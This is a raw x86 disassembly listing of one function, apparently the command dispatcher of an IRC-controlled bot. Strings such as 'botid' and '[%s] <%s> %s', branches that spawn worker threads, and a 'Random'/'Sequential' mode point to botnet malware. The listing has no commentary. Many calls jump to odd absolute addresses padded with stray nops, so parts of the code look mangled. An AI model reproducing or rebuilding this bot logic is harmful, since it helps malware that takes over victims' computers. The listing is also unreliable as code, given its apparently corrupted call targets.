		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax

loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx

loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		mov	[ebp+var_328], eax
		mov	eax, 320h
		cmp	[ebp+var_328], eax
		pop	ecx
		jbe	short loc_411F20
		mov	[ebp+var_328], eax

loc_411F20:				; CODE XREF: sub_40EE72+30A6j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F76
		mov	[ebp+arg_24], offset dword_42ACB0

loc_411F39:				; CODE XREF: sub_40EE72+30E6j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5C
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F39
		jmp	short loc_411F76
; ---------------------------------------------------------------------------

loc_411F5C:				; CODE XREF: sub_40EE72+30D8j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_411F76:				; CODE XREF: sub_40EE72+30BEj
					; sub_40EE72+30E8j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBD
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBD
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_412091
; ---------------------------------------------------------------------------

loc_411FBD:				; CODE XREF: sub_40EE72+3119j
					; sub_40EE72+311Ej
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDF
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDF
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDF
		push	offset unk_436FE4
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411FDF:				; CODE XREF: sub_40EE72+3151j
					; sub_40EE72+3159j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_41208B
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207F

loc_41205D:				; CODE XREF: sub_40EE72+320Bj
		cmp	eax, ebx
		jz	short loc_41207F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205D

loc_41207F:				; CODE XREF: sub_40EE72+31E9j
					; sub_40EE72+31EDj
		mov	[ebp+var_304], 1
		jmp	short loc_412091
; ---------------------------------------------------------------------------

loc_41208B:				; CODE XREF: sub_40EE72+31C3j
		mov	[ebp+var_304], ebx

loc_412091:				; CODE XREF: sub_40EE72+3146j
					; sub_40EE72+3217j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E2

loc_4120CF:				; CODE XREF: sub_40EE72+3293j
		push	esi

loc_4120D0:				; CODE XREF: sub_40EE72+327Dj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210D
; ---------------------------------------------------------------------------

loc_4120E2:				; CODE XREF: sub_40EE72+325Bj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120F1
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120F1
		push	eax
		jmp	short loc_4120D0
; ---------------------------------------------------------------------------

loc_4120F1:				; CODE XREF: sub_40EE72+3275j
					; sub_40EE72+327Aj
		mov	esi, offset aF	; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CF
		mov	[ebp+var_3B4], bl

loc_41210D:				; CODE XREF: sub_40EE72+326Ej
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211F
		mov	eax, offset aSequential	; "Sequential"

loc_41211F:				; CODE XREF: sub_40EE72+32A6j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F60
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4121AD

loc_412197:				; CODE XREF: sub_40EE72+3339j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_412197
; ---------------------------------------------------------------------------

loc_4121AD:				; CODE XREF: sub_40EE72+3323j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_436F18
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_4121BE:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436F0C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_4122A9:				; CODE XREF: sub_40EE72+3534j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4122D6:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A9
; ---------------------------------------------------------------------------

loc_4123AB:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43F6A8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436EA0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E37
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41248D

loc_412477:				; CODE XREF: sub_40EE72+3619j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 26003D2h
		nop
		jmp	short loc_412477
; ---------------------------------------------------------------------------

loc_41248D:				; CODE XREF: sub_40EE72+3603j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_436E54
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_41249E:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E08
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41258A

loc_412574:				; CODE XREF: sub_40EE72+3716j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_412574
; ---------------------------------------------------------------------------

loc_41258A:				; CODE XREF: sub_40EE72+3700j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_436DB4
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_41259B:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F7
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FD
; ---------------------------------------------------------------------------

loc_4125F7:				; CODE XREF: sub_40EE72+376Fj
		mov	[ebp+var_570], ebx

loc_4125FD:				; CODE XREF: sub_40EE72+3783j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412614
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_41261A
; ---------------------------------------------------------------------------

loc_412614:				; CODE XREF: sub_40EE72+3791j
		mov	[ebp+var_574], ebx

loc_41261A:				; CODE XREF: sub_40EE72+37A0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436D78
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4126CB

loc_4126B5:				; CODE XREF: sub_40EE72+3857j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		call	near ptr 26003D2h
		nop
		jmp	short loc_4126B5
; ---------------------------------------------------------------------------

loc_4126CB:				; CODE XREF: sub_40EE72+3841j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_436D28
		jmp	loc_4128CE
; ---------------------------------------------------------------------------

loc_4126DC:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_436CEC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4127AF

loc_41279D:				; CODE XREF: sub_40EE72+393Bj
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127CA
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_41279D
; ---------------------------------------------------------------------------

loc_4127AF:				; CODE XREF: sub_40EE72+3929j
		nop
		call	near ptr 2650C45h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436CA4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4127CA:				; CODE XREF: sub_40EE72+3931j
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	esi
		jmp	loc_414619
; ---------------------------------------------------------------------------

loc_4127DA:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_436C64
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4128C2

loc_4128AC:				; CODE XREF: sub_40EE72+3A4Ej
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_4128AC
; ---------------------------------------------------------------------------

loc_4128C2:				; CODE XREF: sub_40EE72+3A38j
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset unk_436C1C

loc_4128CE:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		jmp	loc_411D1F
; ---------------------------------------------------------------------------

loc_4128DF:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292D
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41292D:				; CODE XREF: sub_40EE72+3AA7j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436BDC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4129B9

loc_4129A3:				; CODE XREF: sub_40EE72+3B45j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A64
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_4129A3
; ---------------------------------------------------------------------------

loc_4129B9:				; CODE XREF: sub_40EE72+3B2Fj
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_436B94
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_4129CA:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412AC1
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436B58
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412AB0

loc_412A9A:				; CODE XREF: sub_40EE72+3C3Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 26003D2h
		nop
		jmp	short loc_412A9A
; ---------------------------------------------------------------------------

loc_412AB0:				; CODE XREF: sub_40EE72+3C26j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_436B10
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_412AC1:				; CODE XREF: sub_40EE72+3B69j
		push	offset unk_436AC8
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_412ACB:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 27E0B69h
		test	eax, eax
		jz	short loc_412AFB
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436A94
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_412AFB:				; CODE XREF: sub_40EE72+3C65j
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C09
; ---------------------------------------------------------------------------

loc_412B1D:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B57
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B57
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_412B57:				; CODE XREF: sub_40EE72+3CC3j
					; sub_40EE72+3CD4j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_436A38
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		call	near ptr 2680AA8h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412C0D

loc_412BF7:				; CODE XREF: sub_40EE72+3D99j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_412BF7
; ---------------------------------------------------------------------------

loc_412C0D:				; CODE XREF: sub_40EE72+3D83j
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset unk_4369EC
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_412C1E:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C5B
		mov	word ptr [ebp+var_470],	5

loc_412C5B:				; CODE XREF: sub_40EE72+3DDEj
		cmp	[ebp+var_C], ebx
		jz	loc_413A64
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A64
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 276063Ch
		nop
		test	eax, eax
		jnz	short loc_412CA6
		push	offset unk_4369B8
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_412CA6:				; CODE XREF: sub_40EE72+3E28j
		push	edi
		push	offset dword_436990
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412CB1:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E2B
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		nop
		call	near ptr 2771196h
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F4
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
